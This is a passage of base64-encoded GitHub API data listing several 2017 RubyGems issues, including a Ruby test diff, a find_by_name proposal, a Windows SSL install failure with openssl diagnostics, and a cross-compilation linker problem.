pdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9XSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NCwiY3JlYXRlZF9hdCI6IjIwMTctMDMtMDhUMjA6NDI6MTVaIiwidXBkYXRlZF9hdCI6IjIwMTctMDUtMTJUMDY6Mjk6MTJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsImJvZHkiOiJJJ20gaGF2aW5nIGEgcHJvYmxlbSBvciB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlLlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzIHRoYXQgdGhlIGZvbGxvd2luZyB0ZXN0IGZhaWxzIGJ5IGFjdGl2YXRpbmcgYGNgXHJcblxyXG5gYGBkaWZmXHJcbmRpZmYgLS1naXQgYS90ZXN0L3J1YnlnZW1zL3Rlc3RfcmVxdWlyZS5yYiBiL3Rlc3QvcnVieWdlbXMvdGVzdF9yZXF1aXJlLnJiXHJcbmluZGV4IGRkNjA2ZTQ0Li42M2JjMzQ2MSAxMDA2NDRcclxuLS0tIGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X3JlcXVpcmUucmJcclxuKysrIGIvdGVzdC9ydWJ5Z2Vtcy90ZXN0X3JlcXVpcmUucmJcclxuQEAgLTgwLDYgKzgwLDM3IEBAIGNsYXNzIFRlc3RHZW1SZXF1aXJlIDwgR2VtOjpUZXN0Q2FzZVxyXG4gICAgIE9iamVjdC5zZW5kIDpyZW1vdmVfY29uc3QsIDpIRUxMTyBpZiBPYmplY3QuY29uc3RfZGVmaW5lZD8gOkhFTExPXHJcbiAgIGVuZFxyXG4gXHJcbisgICMgUHJvdmlkaW5nIC1JIG9uIHRoZSBjb21tYW5kbGluZSBzaG91bGQgYWx3YXlzIGJlYXQgZ2Vtc1xyXG4rICBkZWYgdGVzdF9kYXNoX2lfYmVhdHNfZGVmYXVsdF9nZW1zXHJcbisgICAgYTEgPSBuZXdfZGVmYXVsdF9zcGVjIFwiYVwiLCBcIjFcIiwge1wiYlwiID0+IFwiPSAxXCJ9LCBcInRlc3RfZ2VtX3JlcXVpcmVfYS5yYlwiXHJcbisgICAgYjEgPSBuZXdfZGVmYXVsdF9zcGVjIFwiYlwiLCBcIjFcIiwge1wiY1wiID0+IFwiPiAwXCJ9LCBcImIvYy5yYlwiXHJcbisgICAgYzEgPSBuZXdfZGVmYXVsdF9zcGVjIFwiY1wiLCBcIjFcIiwgbmlsLCBcImMvYy5yYlwiXHJcbisgICAgYzIgPSBuZXdfZGVmYXVsdF9zcGVjIFwiY1wiLCBcIjJcIiwgbmlsLCBcImMvYy5yYlwiXHJcbitcclxuKyAgICBpbnN0YWxsX2RlZmF1bHRfc3BlY3MgYzEsIGMyLCBiMSwgYTFcclxuK1xyXG4rICAgIGRpciA9IERpci5ta3RtcGRpcihcInRlc3RfcmVxdWlyZVwiLCBAdGVtcGRpcilcclxuKyAgICBkYXNoX2lfYXJnID0gRmlsZS5qb2luIGRpciwgJ2xpYidcclxuK1xyXG4rICAgIGNfcmIgPSBGaWxlLmpvaW4gZGFzaF9pX2FyZywgJ2InLCAnYy5yYidcclxuK1xyXG4rICAgIEZpbGVVdGlscy5ta2Rpcl9wIEZpbGUuZGlybmFtZSBjX3JiXHJcbisgICAgRmlsZS5vcGVuKGNfcmIsICd3JykgeyB8ZnwgZi53cml0ZSBcImNsYXNzIE9iamVjdDsgSEVMTE8gPSAnd29ybGQnIGVuZFwiIH1cclxuK1xyXG4rICAgIGxwID0gJExPQURfUEFUSC5kdXBcclxuK1xyXG4rICAgICMgUHJldGVuZCB0byBwcm92aWRlIGEgY29tbWFuZGxpbmUgYXJndW1lbnQgdGhhdCBvdmVycmlkZXMgYSBmaWxlIGluIGdlbSBiXHJcbisgICAgJExPQURfUEFUSC51bnNoaWZ0IGRhc2hfaV9hcmdcclxuK1xyXG4rICAgIGFzc2VydF9yZXF1aXJlICd0ZXN0X2dlbV9yZXF1aXJlX2EnXHJcbisgICAgYXNzZXJ0X3JlcXVpcmUgJ2IvYycgIyB0aGlzIHNob3VsZCBiZSByZXF1aXJlZCBmcm9tIC1JXHJcbisgICAgYXNzZXJ0X2VxdWFsIFwid29ybGRcIiwgOjpPYmplY3Q6OkhFTExPXHJcbisgICAgYXNzZXJ0X2VxdWFsICV3KGEtMSksIGxvYWRlZF9zcGVjX25hbWVzXHJcbisgIGVuc3VyZVxyXG4rICAgICRMT0FEX1BBVEgucmVwbGFjZSBscFxyXG4rICAgIE9iamVjdC5zZW5kIDpyZW1vdmVfY29uc3QsIDpIRUxMTyBpZiBPYmplY3QuY29uc3RfZGVmaW5lZD8gOkhFTExPXHJcbisgIGVuZFxyXG4rXHJcbiAgIGRlZiB0ZXN0X2NvbmN1cnJlbnRfcmVxdWlyZVxyXG4gICAgIHNraXAgJ2RlYWRsb2NrJyBpZiAvXjFcXC44XFwuLyA9fiBSVUJZX1ZFUlNJT05cclxuIFxyXG5gYGBcclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuXHJcbiAgLSBbIF0gTmV0d29yayBwcm9ibGVtc1xyXG4gIC0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcbiAgLSBbeF0gT3RoZXJcclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuMTBcclxuYGBgXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NTgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg1OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg1OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODU4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODU4IiwiaWQiOjIxMTUwNjY3MywibnVtYmVyIjoxODU4LCJ0aXRsZSI6Im1ha2UgZmluZF9ieV9uYW1lIHJldHVybiBuaWwgaW5zdGVhZCBvZiByZXNjdWUiLCJ1c2VyIjp7ImxvZ2luIjoiZ3Jvc3NlciIsImlkIjoxMTM2NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTEzNjc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ncm9zc2VyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dyb3NzZXIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ncm9zc2VyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ3Jvc3Nlci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6NDQzMzM0MTgwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jb250cmlidXRpb246JTIwdW5jbGFpbWVkIiwibmFtZSI6ImNvbnRyaWJ1dGlvbjogdW5jbGFpbWVkIiwiY29sb3IiOiJEREREREQiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE3LTAzLTAyVDIwOjIzOjU5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAzLTExVDE3OjQ3OjI1WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiIC0gbW9yZSBzeW1tZXRyaWMgdG8gZmluZF9hbGxfYnlfbmFtZSAod2hpY2ggcmV0dXJucyBhbiBlbXB0eSBhcnJheSlcclxuIC0gbGVzcyBzdXJwcmlzaW5nIGZvciBwZW9wbGUgdXNlZCB0byBhY3RpdmVyZWNvcmRcclxuIC0gbW9yZSBzeW1tZXRyaWMgdG8gcnViaWVzIGBBcnJheSNmaW5kYFxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NDgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg0OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg0OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODQ4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODQ4IiwiaWQiOjIwOTQxODU5MCwibnVtYmVyIjoxODQ4LCJ0aXRsZSI6IlJ1YnkgbmV3IEluc3RhbGxhdGlvbiBvbiB3aW5kb3dzIDEwIG1hY2hpbmUgY2FuJ3QgdXBkYXRlIGdlbXMgb3IgaW5zdGFsbCBnZW1zICIsInVzZXIiOnsibG9naW4iOiJ6dWJpbnR0MSIsImlkIjo0MTM0NjgyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS80MTM0NjgyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96dWJpbnR0MSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3p1YmludHQxIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvenViaW50dDEvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvenViaW50dDEvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvenViaW50dDEvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3p1YmludHQxL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvenViaW50dDEvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96dWJpbnR0MS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96dWJpbnR0MS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3p1YmludHQxL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96dWJpbnR0MS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTctMDItMjJUMTA6NTY6MDNaIiwidXBkYXRlZF9hdCI6IjIwMTctMDMtMTFUMTQ6MjQ6MDJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkknbSBoYXZpbmcgYSBwcm9ibGVtIG9yIHdvdWxkIGxpa2UgdG8gc3VnZ2VzdCBhIGZlYXR1cmUuXHJcblxyXG5NeSBjdXJyZW50IHByb2JsZW0gaXMgXCJJIGNhbid0IGluc3RhbGwgb3IgdXBkYXRlIGdlbXMgaW4gd2luZG93cyAxMCB1c2luZyBjbWQgcnVuIGFzIGFkbWluaXN0cmF0b3JcIlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIFsgXSBOZXR3b3JrIHByb2JsZW1zXHJcbiAgLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcclxuICAtIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxyXG4gIC0gWzFdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcclxuICAtIFsgXSBPdGhlclxyXG5cclxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxyXG5cclxuYGBgXHJcbiQgZ2VtIGVudiB2ZXJzaW9uXHJcbjIuNS4yXHJcbiRydWJ5IC12XHJcbnJ1YnkgMi4zLjNwMjIyICgyMDE2LTExLTIxIHJldmlzaW9uIDU2ODU5KSBbeDY0LW1pbmd3MzJdXHJcblxyXG4kcnVieSAtcm9wZW5zc2wgLWUgJ3AgT3BlblNTTDo6T1BFTlNTTF9WRVJTSU9OJ1xyXG5cIk9wZW5TU0wgMS4wLjJqICAyNiBTZXAgMjAxNlwiXHJcbiRvcGVuc3NsIHNfY2xpZW50IC1zaG93Y2VydHMgLWNvbm5lY3QgcnVieWdlbXMub3JnOmh0dHBzXHJcblxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkNPTk5FQ1RFRCgwMDAwMDAwMylcclxuMTYxOTYzNjI1NjplcnJvcjoxNDA3OTBFNTpTU0wgcm91dGluZXM6U1NMMjNfV1JJVEU6c3NsIGhhbmRzaGFrZSBmYWlsdXJlOnMyM19saWIuYzoxODQ6XHJcbi0tLVxyXG5ubyBwZWVyIGNlcnRpZmljYXRlIGF2YWlsYWJsZVxyXG4tLS1cclxuTm8gY2xpZW50IGNlcnRpZmljYXRlIENBIG5hbWVzIHNlbnRcclxuLS0tXHJcblNTTCBoYW5kc2hha2UgaGFzIHJlYWQgMTQ2MCBieXRlcyBhbmQgd3JpdHRlbiAwIGJ5dGVzXHJcbi0tLVxyXG5OZXcsIChOT05FKSwgQ2lwaGVyIGlzIChOT05FKVxyXG5TZWN1cmUgUmVuZWdvdGlhdGlvbiBJUyBzdXBwb3J0ZWRcclxuQ29tcHJlc3Npb246IE5PTkVcclxuRXhwYW5zaW9uOiBOT05FXHJcblNTTC1TZXNzaW9uOlxyXG4gICAgUHJvdG9jb2wgIDogVExTdjFcclxuICAgIENpcGhlciAgICA6IDAwMDBcclxuICAgIFNlc3Npb24tSUQ6XHJcbiAgICBTZXNzaW9uLUlELWN0eDpcclxuICAgIE1hc3Rlci1LZXk6XHJcbiAgICBLZXktQXJnICAgOiBOb25lXHJcbiAgICBQU0sgaWRlbnRpdHk6IE5vbmVcclxuICAgIFBTSyBpZGVudGl0eSBoaW50OiBOb25lXHJcbiAgICBTdGFydCBUaW1lOiAxNDg3NzYwNzU0XHJcbiAgICBUaW1lb3V0ICAgOiAzMDAgKHNlYylcclxuICAgIFZlcmlmeSByZXR1cm4gY29kZTogMCAob2spXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuYGBgXHJcblxyXG5JIGhhdmUgdHJpZWQgdmVyeSBoYXJkIGJ1dCBzdGlsbCBub3QgYWJsZSB0byByZXNvbHZlIHRoZSBpc3N1ZS4gUGxlYXNlIEkgbmVlZCB0aGlzIGhlbHAgdXJnZW50LiBJIGhhdmUgZ29uZSB0aHJvdWdoIGFsbCB0aGUgcHJldmlvdXMgcG9zdCByZWxhdGVkIHRvIHRoaXMgYW5kIHRyaWVkIHRoZW0gYW5kIGRpZG4ndCBnZXQgc3VjY2Vzcy5cclxuXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NDAiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg0MC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg0MC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODQwL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODQwIiwiaWQiOjIwODIxMTcxMSwibnVtYmVyIjoxODQwLCJ0aXRsZSI6IkNyb3NzIGNvbXBpbGluZyBSdWJ5IEdlbXMgdXNlcyBCdWlsZCBTeXN0ZW0gTGlua2VyIE9wdGlvbnMiLCJ1c2VyIjp7ImxvZ2luIjoicmtlZW5lIiwiaWQiOjUwNjg0NDIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzUwNjg0NDI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JrZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3JrZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JrZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2VlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmtlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2VlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2VlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2VlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmtlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmtlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ya2VlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMCwiY3JlYXRlZF9hdCI6IjIwMTctMDItMTZUMTg6NTA6MzZaIiwidXBkYXRlZF9hdCI6IjIwMTctMDYtMjZUMDg6MTk6NTdaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkknbSBoYXZpbmcgYSBwcm9ibGVtLlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzIENyb3NzIGNvbXBpbGluZyBSdWJ5IEdlbXMgdXNlcyBCdWlsZCBTeXN0ZW0gTGlua2VyIE9wdGlvbnMuXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFt4XSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbeF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gWyBdIE90aGVyXHJcblxyXG5XaGVuIGNyb3NzLWNvbXBpbGluZyBSdWJ5IEdlbXMgdW5kZXIgUnVieSAyLjQuMCwgdGhlIHJiY29uZmlnIHN5c3RlbSB1c2VzIHRoZSBidWlsZCBzeXN0ZW0ncyBjb25maWd1cmF0aW9uIHRvIGNyb3NzLWNvbXBpbGUgUnVieSBHZW1zLCByZXN1bHRpbmcgaW4gbGlua2VyIGZsYWdzIHRoYXQgZG8gbm90IHdvcmsgZm9yIHRoZSBob3N0IHN5c3RlbSdzIGxpb